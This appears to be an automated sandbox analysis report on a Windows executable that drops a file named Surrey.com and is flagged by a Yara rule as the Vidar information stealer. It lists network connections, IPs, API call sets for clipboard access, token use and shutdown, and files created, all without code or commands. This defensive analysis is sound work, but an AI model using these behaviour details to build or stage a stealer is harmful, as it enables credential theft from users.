Source: chrome.exe, 00000013.00000002.2820323001.0000203400D1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2824034728.00002034010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816725709.000020340076C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2826886665.0000203401B1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: chrome.exe, 00000013.00000002.2826886665.0000203401B1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmllt

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.12:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.12:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.12:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.75.209.106:443 -> 192.168.2.12:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.12:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.12:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.12:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.12:49945 version: TLS 1.2

Source: C:\Users\user\Desktop\25xTHcaF7V.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_009BF7C7 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

13_2_009BF7C7

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_009BF55C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

13_2_009BF55C

Source: C:\Users\user\Desktop\25xTHcaF7V.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_009D9FD2 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

13_2_009D9FD2

System Summary

Malicious sample detected (through community Yara rule)

Source: 13.2.Surrey.com.43e0000.2.unpack, type: UNPACKEDPE

Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_009B4763: GetFullPathNameW,_wcslen,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,

13_2_009B4763

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_009A1B4D LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

13_2_009A1B4D

Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,		0_2_00403883
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009AF20D ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		13_2_009AF20D

Source: C:\Users\user\Desktop\25xTHcaF7V.exe	File created: C:\Windows\HonoluluSyndrome	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	File created: C:\Windows\OxfordPrintable	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	File created: C:\Windows\ViBases	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	File created: C:\Windows\ImmediatelyBros	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	File created: C:\Windows\TransferRare	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	File created: C:\Windows\EscortsNascar	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	File created: C:\Windows\NavyPromising	Jump to behavior

Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Code function: 0_2_004074BB	0_2_004074BB
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_00968017	13_2_00968017
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_0094E1F0	13_2_0094E1F0
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_0095E144	13_2_0095E144
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009622A2	13_2_009622A2
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009422AD	13_2_009422AD
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_0097A26E	13_2_0097A26E
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_0095C624	13_2_0095C624
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009CC8A4	13_2_009CC8A4
